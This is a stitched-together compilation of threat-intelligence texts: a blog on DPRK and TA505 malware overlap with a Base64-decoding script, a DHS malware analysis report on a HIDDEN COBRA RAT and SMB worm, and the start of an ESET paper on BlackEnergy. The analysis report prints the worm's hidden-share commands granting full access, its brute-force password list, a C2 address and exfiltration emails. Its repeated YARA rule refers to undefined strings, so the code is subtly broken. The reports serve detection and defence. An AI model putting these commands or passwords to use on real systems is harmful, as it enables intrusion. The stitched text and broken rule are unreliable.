For the latest protection updates, please visit the Symantec Protection Bulletin.
## Indicators of Compromise
A full list of IOCs is available on GitHub. If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. |
# Ukraine Hit with Novel ‘FoxBlade’ Trojan Hours Before Invasion
Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug. |
# OSINT Reporting Regarding DPRK and TA505 Overlap
April 10, 2019
Yesterday, at SAS2019, BAE Systems presented findings related to DPRK SWIFT heist activity that took place in 2018. As part of this research, BAE included two key points not previously disclosed in the public domain:
- The existence of a PowerShell backdoor attributable to DPRK, which the researchers dubbed PowerBrace.
- A possible overlap between TA505 intrusions and DPRK intrusions, suggesting a possible hand-off between the two groups.
This blog will leave a full analysis of those two points and the supporting context to the people that found them; however, data that may support such conclusions have been available in open source for quite some time.
In early January, VNCert issued an alert regarding attacks targeting financial institutions, containing a mix of DPRK IOCs (including a keylogger referred to as PSLogger previously analyzed by this blog), TA505 IOCs (previously published by 360 TIC), and a handful of PowerShell scripts that are generally identical aside from a handful of configuration changes. Furthermore, the aforementioned keylogger was first uploaded by a submitter (fabd7a52) in Pakistan in December 2018. That same submitter acted as the first uploader for one of the PowerShell samples identified below (b88d4d72fdabfc040ac7fb768bf72dcd), further corroborating a possible link.
Given the multi-sourced reporting overlaps and the additional Pakistan findings mentioned above, this blog assesses that the PowerShell scripts in question likely belong to the same family of DPRK-attributable malware reported by BAE systems.
## IOCs from VNCert
### TA505:
These contain infrastructure overlaps with reporting from the same month found here:
MD5: 5B7244C47104F169B0840440CDEDE788
MD5: cc29adb5b78300b0f17e566ad461b2c7
MD5: E00499E21F9DCF77FC990400B8B3C2B5
MD5: 53F7BE945D5755BB628DEECB71CDCBF2
MD5: 9c35e9aa9255aa2214d704668b039ef6
MD5: 2e0d13266b45024153396f002e882f15
MD5: 26f09267d0ec0d339e70561a610fb1fd
MD5: 09e4f724e73fccc1f659b8a46bfa7184
### DPRK:
HSMBalance.exe MD5: 34404a3fb9804977c6ab86cb991fb130 – Keylogger
ICAS.ps1 MD5: b12325a1e6379b213d35def383da2986 – Possible PowerBrace
MD5: 8a41520c89dce75a345ab20ee352fef0 – Possible PowerBrace
MD5: 7c651d115109fd8f35fddfc44fd24518 – Possible PowerBrace
MD5: b88d4d72fdabfc040ac7fb768bf72dcd – Possible PowerBrace
MD5: 3be75036010f1f2102b6ce09a9299bca – Possible PowerBrace
Several hashes were omitted: these were EML files that belong to specific financial organizations. Others were not on VirusTotal or were not read properly by OCR.
## A Few Notes on the PowerShell Backdoor
MD5 Used: b12325a1e6379b213d35def383da2986 (ICAS.ps1)
C2: 192.95.14.128
As previously mentioned, this blog will not be publishing a full analysis of this backdoor in deference to the people who first found it; however, in the interest of helping analysts who need the data, there are a few key points to mention:
- The backdoor uses a configuration file that includes two C2 servers and a series of Base64 encoded commands.
- Most of the malware’s function names have been replaced with MD5 hashes.
A script below has been included that performs the Base64 transformation on values where it can find them. To analyze this script, this blog then recommends the following process:
1. Using an easily identifiable command name (decoded by the script), locate that command’s use in a function.
2. Identify references between that command and other functions.
3. Rename those other functions.
4. Repeat.
An example of decoded data (with variables and functions renamed manually) is below:
```python
import base64
import re
c = open("c:\\users\\[username]\\desktop\\[filename]").readlines()
line_list = []
for line in c:
try:
enc = re.search("(?<=\$\(\[Text.Encoding\]::Unicode.GetString\([Convert\]::FromBase64String\().*?(?=\))", line).group()
d = ('"' + base64.b64decode(enc) + '"')
e = (re.sub("\$\(\[Text.Encoding\]::Unicode.GetString\([Convert\]::FromBase64String\(.*?\)\)\)", d, line))
f = re.sub("\0", "", e)
line_list.append(f)
except:
line_list.append(line)
with open("c:\\users\\[username]\\desktop\\laz_decoded.ps1", "wt") as t:
for unit in line_list:
t.write(unit)
``` |
# MAR-10135536-3 - HIDDEN COBRA RAT/Worm
**Notification**
This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind. DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see [us-cert.gov/tlp](http://www.us-cert.gov/tlp).
## Summary
### Description
This submission includes four unique files. The first is an installer for additional malware: a Remote Access Trojan (RAT) and a malicious Dynamic as a Server Message Block (SMB) Worm. The fourth file is another SMB worm in the form of a Windows 32-bit executable. Both SMB worms attempt to spread locally and to random IP addresses on the public Internet by attempting to brute force vulnerable systems using weak passwords. The RAT included with the SMB worm provides the attacker with the ability to deliver additional malware, run local commands, and exfiltrate data. As of May 31, 2018, this report has been updated to correct the email addresses used by Wmmvsvc.dll (ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781).
### Emails
- misswang8107@gmail.com
- redhat@gmail.com
### Submitted Files
1. 077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885 (4731CBAEE7ACA37B596E38690160A749)
2. a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717 (scardprv.dll)
3. ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 (Wmmvsvc.dll)
4. fe7d35d19af5f5ae2939457a06868754b8bdd022e1ff5bdbe4e7c135c48f9a16 (298775B04A166FF4B8FBD3609E716945)
## Findings
### 077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885
**Tags:** backdoortrojanworm
**Details:**
- **Name:** 4731CBAEE7ACA37B596E38690160A749
- **Size:** 208896 bytes
- **Type:** PE32 executable (GUI) Intel 80386, for MS Windows
- **MD5:** 4731cbaee7aca37b596e38690160a749
- **SHA1:** 80fac6361184a3e24b33f6acb8688a6b7276b0f2
- **SHA256:** 077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885
- **SHA512:** 9fdc1bf087d3e2fa80ff4ed749b11a2b3f863bed7a59850f6330fc1467c38eed052eee0337d2f82f9fe8e145f68199b966ae3c08f7ad1475b
- **ssdeep:** 6144:M6atGpHk4NdSksOBbNUyb4ajb1TWiYW9ebYwtJEGLYMYR4:Msdk4NdSksOv
- **Entropy:** 7.731026
**Antivirus:**
- AVG: BackDoor.Generic14.ARHX
- Ahnlab: Trojan/Win32.Npkon
- Avira: BDS/Joanap.A.11
- BitDefender: Gen:Variant.Barys.57573
- ClamAV: Win.Trojan.Agent-1388737
- Cyren: W32/Zegost.AA.gen!Eldorado
- ESET: Win32/Scadprv.A trojan
- Emsisoft: Gen:Variant.Barys.57573 (B)
- F-secure: Gen:Variant.Barys.57573
- Filseclab: Worm.Agent.age.ebwv
- Ikarus: Worm.Win32.Agent
- K7: Backdoor (04c4b9d11)
- McAfee: W32/FunCash!worm
- Microsoft Security Essentials: Backdoor:Win32/Joanap.J!dha
- NANOAV: Trojan.Win32.Agent.crilzb
- Quick Heal: Backdoor.Joanap
- Sophos: Mal/EncPk-AGS
- Symantec: Trojan.Gen.2
- Systweak: trojan.agent
- TrendMicro: BKDR_JOANAP.AC
- TrendMicro House Call: BKDR_JOANAP.AC
- Vir.IT eXplorer: Backdoor.Win32.Generic.ARHX
- VirusBlokAda: Worm.Agent
- Zillya!: Worm.Agent.Win32.3373
- nProtect: Worm/W32.Agent.208896.AK
### Yara Rules
```yara
rule Enfal_Generic {
meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12"
strings:
$s0 = {6D737373636172647072762E6178}
$s1 = {6E3472626872697138393076393D3032333D30312A2628542D30513332354A314E3B4C4B}
$s2 = {72656468617440676D61696C2E636F6D}
$s3 = {6D69737377616E673831303740676D61696C2E636F6}
$s5 = {794159334D6559704275415756426341}
$s6 = {705641325941774242347A41346167664B6232614F7A4259}
$s7 = {AE8591916D586DE4F6FB8EE2F0B}
$s9 = {43616E6E6F74206372656174652072656D6F74652}
$s11 = {663D547D75128D85FCFEFFFF505}
$s13 = {663D567D750F8D85FCFEFFFF5056E891070000EB7C663D577D}
$s14 = {3141327A3342347935433678374438773945307624465F754774487349724A71}
$s15 = {393032356A68}
condition: ($s0) or ($s1) or ($s2) or ($s3) or ($s4 and $s5 and $s6) or ($s7 and $s8) or ($s9 and $s10 and ($s14 and $s15))
}
```
### ssdeep Matches
No matches found.
### PE Metadata
- **Compile Date:** 2011-09-14 01:53:24-04:00
- **Import Hash:** e8cd12071a8e823ebc434c8ee3e23203
### PE Sections
| MD5 | Name | Raw Size | Entropy |
|---------------------------------------|--------|----------|-----------|
| bf69e0e64bdafa28b31e3c2134e1d696 | header | 4096 | 0.658046 |
| 27f1df91dc992ababc89460f771a6026 | .text | 24576 | 6.227301 |
| 249e10a4ad0a58c3db84eb2f69db5db5 | .rdata | 4096 | 4.367702 |
| 88b5582d4d361c92e9234abf0942ed9e | .data | 4096 | 2.546586 |
| a18b7869b3bfd4a2ef0d03c96fa09221 | .rsrc | 172032 | 7.969250 |
### Packers/Compilers/Cryptors
Installer VISE Custom
### Process List
| Process | PID | PPID |
|-------------------------------------------------------------------------------------------|------|------|
| 077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885.exe | 2628 | 2588 |
### Relationships
- 077d9e0e12... Dropped a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717
- 077d9e0e12... Dropped ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781
### Description
This 32-bit Windows executable file drops two malicious applications. The first (a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717) is a fully functioning RAT. The second application (ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781) is a SMB worm that will spread to local systems.
### Tags
backdoorbottrojanworm
### Details
- **Name:** scardprv.dll
- **Size:** 77824 bytes
- **Type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
- **MD5:** 4613f51087f01715bf9132c704aea2c2
- **SHA1:** 6b1ddf0e63e04146d68cd33b0e18e668b29035c4
- **SHA256:** a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717
- **SHA512:** 37fa5336d1554557250e4a3bcb4ccfca79f4873264cb161dee340d35a2f8f17f7853fe942809bb343ac1eae0a37122b5e8fd703a9b820ec
- **ssdeep:** 768:qtT2AxNtcgpqLepcy2y6/chYdP8KuSFM+Cs5CBaho9S4AJKqBz8MZdVsrQVBnVGa:qwONtBqL1dDMrs5CN9S4A3HOYBnVL
- **Entropy:** 6.138177
### Antivirus
- AVG: Agent3.BAPF
- Ahnlab: Trojan/Win32.Dllbot
- Avira: TR/Gendal.6762100
- BitDefender: Gen:Variant.Graftor.Elzob.3935
- ClamAV: Win.Trojan.Agent-1388765
- ESET: a variant of Win32/Scadprv.A trojan
- Emsisoft: Gen:Variant.Graftor.Elzob.3935 (B)
- F-secure: Gen:Variant.Graftor.Elzob.3935
- Filseclab: Worm.Agent.ago.thfj.dll
- Ikarus: Worm.Win32.Agent
- K7: Trojan (0001659c1)
- McAfee: W32/FunCash!worm
- Microsoft Security Essentials: Backdoor:Win32/Joanap.B!dha
- NANOAV: Trojan.Win32.Agent.cwccco
- Quick Heal: Backdoor.Duzzer.A5
- Sophos: Mal/Generic-L
- Symantec: Backdoor.Joanap
- Systweak: malware.gen-20120501
- TrendMicro: BKDR_JOANAP.AC
- TrendMicro House Call: BKDR_JOANAP.AC
- Vir.IT eXplorer: Trojan.Win32.Agent3.BAPF
- VirusBlokAda: Worm.Agent
- Zillya!: Worm.Agent.Win32.5702
- nProtect: Worm/W32.Agent.77824.CJ
### Yara Rules
```yara
rule Enfal_Generic {
meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12"
strings:
$s0 = {6D737373636172647072762E6178}
$s1 = {6E3472626872697138393076393D3032333D30312A2628542D30513332354A314E3B4C4B}
$s2 = {72656468617440676D61696C2E636F6D}
$s3 = {6D69737377616E673831303740676D61696C2E636F6}
$s5 = {794159334D6559704275415756426341}
$s6 = {705641325941774242347A41346167664B6232614F7A4259}
$s7 = {AE8591916D586DE4F6FB8EE2F0B}
$s9 = {43616E6E6F74206372656174652072656D6F74652}
$s11 = {663D547D75128D85FCFEFFFF505}
$s13 = {663D567D750F8D85FCFEFFFF5056E891070000EB7C663D577D}
$s14 = {3141327A3342347935433678374438773945307624465F754774487349724A71}
$s15 = {393032356A68}
condition: ($s0) or ($s1) or ($s2) or ($s3) or ($s4 and $s5 and $s6) or ($s7 and $s8) or ($s9 and $s10 and ($s14 and $s15))
}
```
### ssdeep Matches
No matches found.
### PE Metadata
- **Compile Date:** 2011-09-14 01:38:38-04:00
- **Import Hash:** f6f7b2e00921129d18061822197111cd
### PE Sections
| MD5 | Name | Raw Size | Entropy |
|---------------------------------------|--------|----------|-----------|
| c745765d5ae0458d76c721b8a82eca52 | header | 4096 | 0.763991 |
| f16ff24a6d95e0e0711eccae4283bbe5 | .text | 40960 | 6.506011 |
| b89bb8a288d739a27d7021183336413c | .rdata | 20480 | 6.655349 |
| fcd7ede94211c9d653bd8cc776feb8be | .data | 4096 | 4.326483 |
| 56dc69f697f36158eefefdde895f39b6 | .rsrc | 4096 | 0.613739 |
| 20601cf5d6aecb9837dcc1747847c5a2 | .reloc | 4096 | 4.068756 |
### Packers/Compilers/Cryptors
Microsoft Visual C++ 6.0 DLL
### Relationships
- a1c483b0ee... Dropped_By 077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885
### Description
This 32-bit Windows DLL is written to disk and then loaded by the file "4731CBAEE7ACA37B596E38690160A749". This malware has been identified as a RAT, providing a remote actor with the ability to exfiltrate data, drop and run secondary payloads, and provide remote access to the compromised Windows device. The malware binds to port 443 and listens for incoming connections from a remote operator, using the Rivest Cipher to protect communications with its Command and Control (C2). The malware also creates a log entry in a file named “mssscardprv.ax”, located in the %WINDIR%\system32 folder. The log entry includes the victim's IP address, host name, and current system time.
### Tags
backdoorbottrojanworm
### Details
- **Name:** Wmmvsvc.dll
- **Size:** 91664 bytes
- **Type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
- **MD5:** e86c2f4fc88918246bf697b6a404c3ea
- **SHA1:** 9b7609349a4b9128b9db8f11ac1c77728258862c
- **SHA256:** ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781
- **SHA512:** f6097c66a526ba7a3c918b1c7fccae03c812046d642a4adb62ee7a24cbcee889c0348020ae7e2e82ee3f284b311f049ed596edb22b901
- **ssdeep:** 768:9eY/pEwKWcwP/bY4XxlGLup3Tq1LpDLJkDcw3f9zj:MitnU4viJJDw3Z
- **Entropy:** 3.156854
### Antivirus
- AVG: PSW.Generic9.ACQQ
- Ahnlab: Trojan/Win32.Dllbot
- Avira: BDS/Joanap.A.8
- BitDefender: Gen:Variant.Symmi.49274
- ClamAV: Win.Trojan.Agent-1388727
- Cyren: W32/Trojan.WXKV-0327
- ESET: a variant of Win32/Agent.NJF worm
- Emsisoft: Gen:Variant.Symmi.49274 (B)
- F-secure: Gen:Variant.Symmi.49274
- Filseclab: Trojan.Agent.NJF.cuzy.dll
- Ikarus: Worm.Win32.Agent
- K7: Trojan (00515bda1)
- McAfee: Generic PWS.tr
- Microsoft Security Essentials: Backdoor:Win32/Joanap.A!dha
- NANOAV: Trojan.Win32.Agent.cqilax
- NetGate: Trojan.Win32.Malware
- Quick Heal: Backdoor.Joanap
- Sophos: Mal/Generic-L
- Symantec: W32.Brambul
- Vir.IT eXplorer: Trojan.Win32.Generic.ACQQ
- VirusBlokAda: Worm.Agent
- Zillya!: Worm.Agent.Win32.3549
- nProtect: Worm/W32.Agent.91664
### Yara Rules
```yara
rule Enfal_Generic {
meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12"
strings:
$s0 = {6D737373636172647072762E6178}
$s1 = {6E3472626872697138393076393D3032333D30312A2628542D30513332354A314E3B4C4B}
$s2 = {72656468617440676D61696C2E636F6D}
$s3 = {6D69737377616E673831303740676D61696C2E636F6}
$s5 = {794159334D6559704275415756426341}
$s6 = {705641325941774242347A41346167664B6232614F7A4259}
$s7 = {AE8591916D586DE4F6FB8EE2F0B}
$s9 = {43616E6E6F74206372656174652072656D6F74652}
$s11 = {663D547D75128D85FCFEFFFF505}
$s13 = {663D567D750F8D85FCFEFFFF5056E891070000EB7C663D577D}
$s14 = {3141327A3342347935433678374438773945307624465F754774487349724A71}
$s15 = {393032356A68}
condition: ($s0) or ($s1) or ($s2) or ($s3) or ($s4 and $s5 and $s6) or ($s7 and $s8) or ($s9 and $s10 and ($s14 and $s15))
}
```
### ssdeep Matches
No matches found.
### PE Metadata
- **Compile Date:** 2011-09-14 11:42:30-04:00
- **Import Hash:** f0087d7b90876a2769f2229c6789fcf3
- **Company Name:** Microsoft Corporation
- **File Description:** Microsoft XML Encoder/Transcoder
- **Internal Name:** xpsshrm.dll
- **Legal Copyright:** © Microsoft Corporation. All rights reserved.
- **Original Filename:** xpsshrm.dll
- **Product Name:** Microsoft® Windows Media Services
- **Product Version:** 9.00.00.4503
### PE Sections
| MD5 | Name | Raw Size | Entropy |
|---------------------------------------|--------|----------|-----------|
| 037e97300efd533dd48d334d30bdc408 | header | 4096 | 0.759334 |
| 4b5019185bb0b82273442dae3f15f105 | .text | 24576 | 6.083997 |
| 9e5a1cfda72f8944cd5e35e33a2a73b0 | .rdata | 4096 | 3.267725 |
| 47982ac1b20cac03adcfd62f5881b79c | .data | 49152 | 1.087883 |
| b971ab49349a660c70cb6987b7fb3ed3 | .rsrc | 4096 | 1.140488 |
| ad5750c9584c0eba32643810ab6e8a53 | .reloc | 4096 | 2.515288 |
### Packers/Compilers/Cryptors
Microsoft Visual C++ 6.0 DLL
### Relationships
- ea46ed5aed... Dropped_By 077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885
- ea46ed5aed... Connected_To misswang8107@gmail.com
- ea46ed5aed... Contains redhat@gmail.com
### Description
This file is a malicious 32-bit Windows DLL that is written to disk then loaded by the file "4731CBAEE7ACA37B596E38690160A749". When executed, the DLL attempts to contact all of the Internet Protocol (IP) addresses on the victim's local subnet. If the malware is able to connect, it will attempt to gain unauthorized access via the SMB protocol on port 445 using a brute-force password attack. The malware contains an embedded list of commonly used passwords and generates random external IP addresses, which it attempts to attack. If the malware successfully gains access to another system, it will send an email containing the system's IP address, hostname, username, and password.
### Screenshots
![Figure 1 - The screenshot illustrates the to and from email addresses for data exfiltration.](#)
### Tags
backdoortrojanworm
### Details
- **Name:** 298775B04A166FF4B8FBD3609E716945
- **Size:** 86016 bytes
- **Type:** PE32 executable (GUI) Intel 80386, for MS Windows
- **MD5:** 298775b04a166ff4b8fbd3609e716945
- **SHA1:** 2e0f666831f64d7383a11b444e2c16b38231f481
- **SHA256:** fe7d35d19af5f5ae2939457a06868754b8bdd022e1ff5bdbe4e7c135c48f9a16
- **SHA512:** adc9bb5a2116134ddf57d1b1765d5981c55828aa8c6719964b0e2eeb6c9068a2acaa98c2e03227a406a4fbfa2f007f5eb9f57a61e3749b
- **ssdeep:** 768:i+cDn8nAQ5Toz4c0+u5jrdXs+W+aCNkiC8xeC3cs:i+M8ndTozOn5jxF/US0s
- **Entropy:** 2.873816
### Antivirus
- ClamAV: Win.Trojan.Agent-1388727
- ESET: a variant of Win32/Agent.NVC worm
- McAfee: GenericRXCB-TI!298775B04A16
- Microsoft Security Essentials: Backdoor:Win32/Joanap.A!dha
- Symantec: Heur.AdvML.B
### Yara Rules
```yara
rule Enfal_Generic {
meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12"
strings:
$s0 = {6D737373636172647072762E6178}
$s1 = {6E3472626872697138393076393D3032333D30312A2628542D30513332354A314E3B4C4B}
$s2 = {72656468617440676D61696C2E636F6D}
$s3 = {6D69737377616E673831303740676D61696C2E636F6}
$s5 = {794159334D6559704275415756426341}
$s6 = {705641325941774242347A41346167664B6232614F7A4259}
$s7 = {AE8591916D586DE4F6FB8EE2F0B}
$s9 = {43616E6E6F74206372656174652072656D6F74652}
$s11 = {663D547D75128D85FCFEFFFF505}
$s13 = {663D567D750F8D85FCFEFFFF5056E891070000EB7C663D577D}
$s14 = {3141327A3342347935433678374438773945307624465F754774487349724A71}
$s15 = {393032356A68}
condition: ($s0) or ($s1) or ($s2) or ($s3) or ($s4 and $s5 and $s6) or ($s7 and $s8) or ($s9 and $s10 and ($s14 and $s15))
}
```
### ssdeep Matches
No matches found.
### PE Metadata
- **Compile Date:** 2018-01-05 01:22:45-05:00
- **Import Hash:** 9f298eba36baa47b98a60cf36fdb2301
### PE Sections
| MD5 | Name | Raw Size | Entropy |
|---------------------------------------|--------|----------|-----------|
| 8a5b06109c3bd4323fa3318f9874d529 | header | 4096 | 0.703885 |
| 413f30d4d86037b75958b45b9efbe1de | .text | 20480 | 6.302858 |
| 82b41fefc9aa74a2430f1421fd5fe5b3 | .rdata | 4096 | 3.748024 |
| b6f17870ca5f45d4c75e18024e6e1180 | .data | 53248 | 1.067897 |
| cda5ef1038742e5ef46b9cfa269b0434 | .rsrc | 4096 | 0.608792 |
### Packers/Compilers/Cryptors
Microsoft Visual C++ v6.0
### Process List
| Process | PID | PPID |
|--------------------------------------------------------------------------------------------|------|------|
| fe7d35d19af5f5ae2939457a06868754b8bdd022e1ff5bdbe4e7c135c48f9a16.exe | 2436 | 2408 |
### Description
This file is a malicious 32-bit Windows executable file designed to scan the local network and the Internet for machines that are accessible and have weak passwords. When the malware gains access to a remote machine, it will deliver a malicious payload. This file accepts the following command-line arguments for execution:
- `-i` ==> Create service
- `-u` ==> Control and delete service
- `-s` ==> Start service
- `-r` ==> Run not as a service
- `-k` ==> ControlService
When executed with the "-i" argument, the malware installs and executes itself as the following service:
- **ServiceName:** "RdpCertification"
- **DisplayName:** "Remote Desktop Certification Services"
- **DesiredAccess:** SERVICE_ALL_ACCESS
- **ServiceType:** SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS
- **StartType:** SERVICE_AUTO_START
- **BinaryPathName:** "%current directory%\298775B04A166FF4B8FBD3609E716945.exe"
The malware creates a mutual exclusion (Mutex) object named "PlatFormSDK20150201", then generates a list of IP addresses using a domain generation algorithm (DGA) that uses the system time in the algorithm to create the list of IP addresses. It generates network traffic over Transmission Control Protocol (TCP) ports 80 and 445 via the victims' IP addresses and the generated IP addresses.
### Sample HTTP request:
```
OPTIONS / HTTP/1.1
translate: f
User-Agent: Microsoft-WebDAV-MiniRedir/5.1.2600
Host: 159.154.100.0
Content-Length: 0
Connection: Keep-Alive
```
Once successfully connected to other Windows hosts or the generated IP addresses using port 445, the malware attempts to use a hard-coded list of passwords for connections. If the password is correctly guessed, a file share is established. The malware uses the following methods to access shares on the remote system:
- To gain access to remote systems it uses ($IPC) share via “\\remote system IP\$IPC”
- It checks for existing shares by using “\\hostname\adnim$\system32”
- It will create a new share named "adnim$" using the following command:
```
cmd.exe /q /c net share adnim$=%SystemRoot%
cmd.exe /q /c net share adnim$=%%SystemRoot%% /GRANT:%s,FULL
```
Once a file share is successfully established, the malware uploads a copy of a payload "C:\WINDOWS\TEMP\TMP1.tmp" and installs it as a service. The uploaded payload was not available at the time of analysis. The remote network share is removed after infection using the following command:
```
cmd.exe /q /c net share adnim$ /delete
```
Once the payload has been uploaded and executed, the malware uses Simple Mail Transfer Protocol (SMTP) to send collected data to the remote operator. The domain names of the service providers used to send data include "www.hotmail.com".
### Displayed is the structure of the email sent:
```
SUBJECT: %s%s%s
TO: Joana <%s>%s
FROM: <%s>%s
DATA%s
RCPT TO: <%s>%s
MAIL FROM: <%s>%s
AUTH LOGIN%s
HELO %s%s
```
### Displayed is a list of brute force passwords used to establish connections:
```
!@#$
!@#$%
!@#$%^
!@#$%^&
!@#$%^&*
!@#$%^&*()
"KGS!@#$%"
0000
00000
000000
00000000
1111
11111
111111
11111111
11122212
1212
121212
123123
123321
1234
12345
123456
1234567
12345678
123456789
123456^%$#@!
1234qwer
123abc
123asd
123qwe
1313
1q2w3e
1q2w3e4r
1qaz2wsx
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
4321
54321
654321
6969
666666
7777
8888
88888
888888
8888888
88888888
Admin
abc123
abc@123
abcd
admin
admin123
admin!23
admin!@#
administrator
administrador
asdf
asdfg
asdfgh
asdf123
asdf!23
baseball
backup
blank
cisco
compaq
control
computer
cookie123
database
dbpassword
db1234
default
dell
enable
fish
foobar
gateway
guest
golf
harley
home
iloveyou
internet
letmein
Login
login
love
manager
oracle
owner
pass
passwd
password
p@ssword
password1
password!
passw0rd
Password1
pa55w0rd
pw123
q1w2e3
q1w2e3r4
q1w2e3r4t5
q1w2e3r4t5y6
qazwsx
qazwsxedc
qwer
qwert
qwerty
!QAZxsw2
root
secret
server
sqlexec
shadow
super
sybase
temp
temp123
test
test!
test1
test123
test!23
winxp
win2000
win2003
Welcome1
Welcome123
xxxx
yxcv
zxcv
Administrator
Admin
```
### Email Addresses
- redhat@gmail.com
- misswang8107@gmail.com
### Recommendations
NCCIC would like to remind users and administrators to consider using the following best practices to strengthen the security posture of their organization:
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file type).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate ACLs.
Additional information on malware incident prevention and handling can be found in NIST's Special Publication 800-83, Guide to Malware Incident Prevention and Handling for Desktops and Laptops.
### Contact Information
NCCIC continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at cert.gov/forms/feedback/.
### Document FAQ
**What is a MAR?**
A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual analysis. For additional analysis, please contact NCCIC and provide information regarding the level of desired analysis.
**Can I edit this document?**
This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to 282-0870 or soc@us-cert.gov.
**Can I submit malware to NCCIC?**
Malware samples can be submitted via three methods:
- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)
NCCIC encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing attempts. Submission forms can be found on the NCCIC/US-CERT homepage at www.us-cert.gov.
### Revisions
- May 29, 2018: Initial version
- May 31, 2018: Corrected error in MAR and STIX file
This product is provided subject to this Notification and this Privacy & Use policy. |
# BLACKENERGY – WHAT WE REALLY KNOW ABOUT THE NOTORIOUS CYBER ATTACKS
**Anton Cherepanov & Robert Lipovsky**
ESET, Slovakia
Email: {cherepanov, lipovsky}@eset.sk
## ABSTRACT
In the past two years, BlackEnergy has become one of the top malware families of interest to system administrators, security researchers, and the media. BlackEnergy had Russian origins, was sold on underground forums, and its source code was leaked. Version 2 of the malware (2010) was a complete code rewrite that introduced a modular architecture. Since then, it has been used for a wide range of purposes. We know little about the perpetrators behind the current BlackEnergy attacks, but as the malware family has been used in common cybercrime attacks simultaneously with targeted attacks, it is likely that there are several groups in possession of the trojan. In this paper, we will focus on the recent targeted attacks.
We discussed the evolution of the malware, technical details, as well as some of the cyber espionage attacks conducted with it against state organizations in Ukraine, in our 2014 talk at the Virus Bulletin conference. The attackers continued to be active in 2015, culminating in the widely publicized attacks against the Ukrainian power grid at the end of that year. Following our initial discovery that attackers using the BlackEnergy malware were responsible for the massive power outages in Ukraine in December 2015, several reports have been released that explain the chain of events leading up to the blackout. It was a well-planned operation that took several months of reconnaissance to prepare.
The aim of this paper is to provide additional details about the modus operandi of the BlackEnergy APT group and to add previously undisclosed context.
## HISTORY AND FOCUS ON UKRAINE
The BlackEnergy group has been focused on Ukraine ever since we first observed the trojan being used in targeted attacks. In addition to electricity distribution companies, the targets in that country have included state institutions, news media organizations, airports, and railway companies. Ukrainian officials were quick to point an accusing finger at Russia, and many others – including security companies – followed with similar allegations. The power grid compromise has become known as the first-of-its-kind confirmed cyber warfare attack affecting civilians.
In our paper, we share insights about the discoveries and our following research, including previously unpublished details. We attempt to separate facts from speculations, reality from hype, and clearly state what we know and don’t know – both in regard to attribution, as well as other disputed details of the attacks.
## INTRODUCTION
The BlackEnergy malware has evolved significantly from its initial version first seen in 2007, which has little in common with the samples in the wild in 2016. Over the years, the malware family has been used for cybercrime, cyber espionage, and most recently, cyber sabotage. It is important to point out these technical aspects, since there have been many reports in recent years about ‘the group’ behind BlackEnergy and the origin of the malware.
In May 2014, this group used spear-phishing emails against various targets, including elements of critical infrastructure such as energy companies. The attackers impersonated government entities. The PowerPoint file was named ‘zdacha_krovi.ppsx’ (Ukrainian for ‘blood donation’) and included one of the first exploits of the CVE-2014-4114 vulnerability. At that time, the vulnerability had not been patched.
In late October 2014, the Department of Homeland Security’s (DHS) Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) issued an alert warning that the BlackEnergy group was targeting the human-machine interfaces (HMIs) of industrial control systems. The alert warned that users of GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC had been targeted by this cyber threat actor.
## ATTACKS IN 2015
